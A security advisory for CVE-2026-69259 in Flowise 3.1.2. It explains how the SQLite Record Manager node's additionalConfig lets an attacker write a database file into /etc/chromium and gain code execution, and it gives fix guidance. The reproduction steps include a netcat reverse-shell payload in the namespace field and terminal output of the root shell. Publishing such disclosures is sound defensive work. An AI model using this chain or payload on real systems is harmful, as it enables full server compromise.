CVE-2026-69259: Flowise RCE via SQLite Record Manager Node
============================================================================= Security Advisory elttam
Topic: Flowise RCE via SQLite Record Manager Node
Module: FlowiseAI/Flowise Disclosed: 24-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2
I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.
II. Problem Description
The database path for the "SQLite Record Manager" node could be overridden using the additionalConfig input, as demonstrated in the following code snippet.
https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts ts class SQLiteRecordManagerRecordManager implements INode { ... async init(nodeData: INodeData, : string, options: ICommonObject): Promise<any> { const tableName = nodeData.inputs?.tableName as string const tableName = tableName ? tableName : 'upsertionrecords' const additionalConfig = nodeData.inputs?.additionalConfig as string <1> const namespace = nodeData.inputs?.namespace as string const namespace = namespace ? namespace : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = sourceIdKey ? sourceIdKey : 'source'
let additionalConfiguration = {} if (additionalConfig) { try { additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig) } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } }
const database = path.join(process.env.DATABASEPATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>
const sqliteOptions = { database, ...additionalConfiguration, <3> type: 'sqlite' }
const args = { sqliteOptions, tableName: tableName }
const recordManager = new SQLiteRecordManager(namespace, args)
;(recordManager as any).cleanup = cleanup ;(recordManager as any).sourceIdKey = sourceIdKey
return recordManager } } <1> The additionalConfig input was user controllable.
<2> The intended SQLite database path.
<3> Keyword argument expansion of the additionalConfiguration variable after the database variable, which allows overwriting the preceding database setting.
An attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the flowiseai/flowise:3.1.2 Docker image runs as root.
However, unlike the Flowise RCE via SQL Database Chain Node vulnerability, the executed SQL query was not user controllable and the tableName input was validated to match the /^[a-zA-Z0-9]+$/ regex pattern, as shown in the following code snippet.
https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts ts class SQLiteRecordManager implements RecordManagerInterface { ...
sanitizeTableName(tableName: string): string { // Trim and normalize case, turn whitespace into underscores tableName = tableName.trim().toLowerCase().replace(/\s+/g, '')
// Validate using a regex (alphanumeric and underscores only) if (!/^[a-zA-Z0-9]+$/.test(tableName)) { <1> throw new Error('Invalid table name') }
return tableName }
...
async createSchema(): Promise<void> { const dataSource = await this.getDataSource() try { const queryRunner = dataSource.createQueryRunner() const tableName = this.sanitizeTableName(this.tableName) <1>
await queryRunner.manager.query( <2> CREATE TABLE IF NOT EXISTS "${tableName}" ( uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))), key TEXT NOT NULL, namespace TEXT NOT NULL, updatedat REAL NOT NULL, groupid TEXT, UNIQUE (key, namespace) ); CREATE INDEX IF NOT EXISTS updatedatindex ON "${tableName}" (updatedat); CREATE INDEX IF NOT EXISTS keyindex ON "${tableName}" (key); CREATE INDEX IF NOT EXISTS namespaceindex ON "${tableName}" (namespace); CREATE INDEX IF NOT EXISTS groupidindex ON "${tableName}" (groupid);)
// Add docid column if it doesn't exist (migration for existing tables) const checkColumn = await queryRunner.manager.query( SELECT COUNT() as count FROM pragmatableinfo('${tableName}') WHERE name='docid'; ) if (checkColumn[0].count === 0) { await queryRunner.manager.query(ALTER TABLE "${tableName}" ADD COLUMN docid TEXT;) await queryRunner.manager.query(CREATE INDEX IF NOT EXISTS docidindex ON "${tableName}" (docid);) }
await queryRunner.release() } catch (e: any) { // This error indicates that the table already exists // Due to asynchronous nature of the code, it is possible that // the table is created between the time we check if it exists // and the time we try to create it. It can be safely ignored. if ('code' in e && e.code === '23505') { return } throw e } finally { await dataSource.destroy() } }
...
async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> { if (keys.length === 0) { return } const dataSource = await this.getDataSource() const queryRunner = dataSource.createQueryRunner() const tableName = this.sanitizeTableName(this.tableName)
const updatedAt = await this.getTime() const { timeAtLeast, groupIds: groupIds } = updateOptions ?? {}
if (timeAtLeast && updatedAt < timeAtLeast) { throw new Error(Time sync issue with database ${updatedAt} < ${timeAtLeast}) }
// Handle both new format (objects with uid and docId) and old format (strings) const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0] const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[]) const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)
const groupIds = groupIds ?? keyStrings.map(() => null)
if (groupIds.length !== keyStrings.length) { throw new Error(Number of keys (${keyStrings.length}) does not match number of groupids (${groupIds.length})) }
const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>
const query = INSERT INTO "${tableName}" (key, namespace, updatedat, groupid, docid) VALUES (?, ?, ?, ?, ?) ON CONFLICT (key, namespace) DO UPDATE SET updatedat = excluded.updatedat, docid = excluded.docid
try { // To handle multiple files upsert for (const record of recordsToUpsert) { // Consider using a transaction for batch operations await queryRunner.manager.query(query, record.flat()) } await queryRunner.release() } catch (error) { console.error('Error updating in SQLiteRecordManager:') throw error } finally { await dataSource.destroy() } } ... } <1> Validates the tableName input matches the regex pattern /^[a-zA-Z0-9]+$/.
<2> The SQL command creating the database table, which is not user controllable.
<3> The this.namespace is a user controllable input for the node.
Since the allowed characters of the tableName input were restricted, it was not possible to utilise the same technique from GHSA-pwfj-wh95-7mwp to comment out () characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the docidindex cell using the default upsertionrecords table name.
Bytes Raw Decoded ────────────────────────────────────────────────── [3574:3575] 62 payload length = 98 [3575:3576] 04 rowid = 4
── Record Header ────────────────────────────── [3576:3577] 06 header length = 6 [3577:3578] 17 col 0 = 23 → TEXT 5 bytes ('index') [3578:3579] 25 col 1 = 37 → TEXT 12 bytes ('docidindex') [3579:3580] 2f col 2 = 47 → TEXT 17 bytes ('upsertionrecords') <1> [3580:3581] 01 col 3 = 1 → INT8 1 byte [3581:3582] 7f col 4 = 127 → TEXT 57 bytes (CREATE INDEX sql)
── Record Body ──────────────────────────────── [3582:3587] 696e646578 col 0 = 'index' [3587:3599] 646f635f69… col 1 = 'docidindex' [3599:3616] 757073657274… col 2 = 'upsertionrecords' [3616:3617] 05 col 3 = 5 (root page = page 5) [3617:3674] 43524541544… col 4 = 'CREATE INDEX docidindex ON "upsertionrecords" (docid)' <1> \x2f serial type corresponds to a TEXT value that is 17 bytes long.
The length of the table name can be manipulated, and a serial type of ' corresponds to a string that is 13 bytes long. The injected ' could then be used to wrap the problematic () characters within the cell, which is then closed by the namespace input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a /etc/chromium/.conf file.
The following steps document the procedure to reproduce this issue:
1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the additionalConfig.database input for the SQLite Record Manager node is set to /etc/chromium/exploit.conf, which is the destination the SQLite database will be created. The tableName input is set to AAAAAAAAAAAAA, so the encoded serial type of its length would be ', and the namespace is set to '$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh) to close the previous ' and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at /etc/chromium/exploit.conf.
sqlite-record-rce-poc.json
2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute chromium-browser that sources all /etc/chromium/.conf files, triggering the reverse shell payload as shown in the following terminal output.
sqlite-sqlchain-puppeteer-trigger.json
terminal $ nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 40677 id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ps aux PID USER TIME COMMAND 1 root 0:13 node /usr/local/bin/flowise start 18 root 0:00 [sh] 30 root 0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteerdevchromeprofile-AnFBBC 31 root 0:00 /bin/sh 33 root 0:00 ps aux III. Impact
An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.
IV. Solution
Consider performing the following remediation activities:
Ensure that the additionalConfig input could not be abused to overwrite the database property to an arbitrary file path.
Use a low-privileged user for container runtimes instead of the privileged root user, since the root user has file access to the entire filesystem of the container.
Other sources
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the SQLite Record Manager node in packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts accepted user-controlled additionalConfig and spread it after the intended database setting, allowing additionalConfig.database to overwrite the SQLite database path. An authenticated attacker using the published Docker image, which ran as root, could write a SQLite database to paths such as /etc/chromium/exploit.conf; by controlling the table name and namespace value, the attacker could place shell syntax into the database file and trigger execution when Puppeteer launched Chromium and sourced /etc/chromium/.conf. This issue is fixed in version 3.1.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/flowise-componentsto a version that resolves this vulnerability.Fixed in 3.1.3 - Upgrade
Upgrade
npm/flowiseto a version that resolves this vulnerability.Fixed in 3.1.3 - Upgrade
Upgrade
FlowiseAI/Flowiseto a version that resolves this vulnerability.Fixed in 3.1.3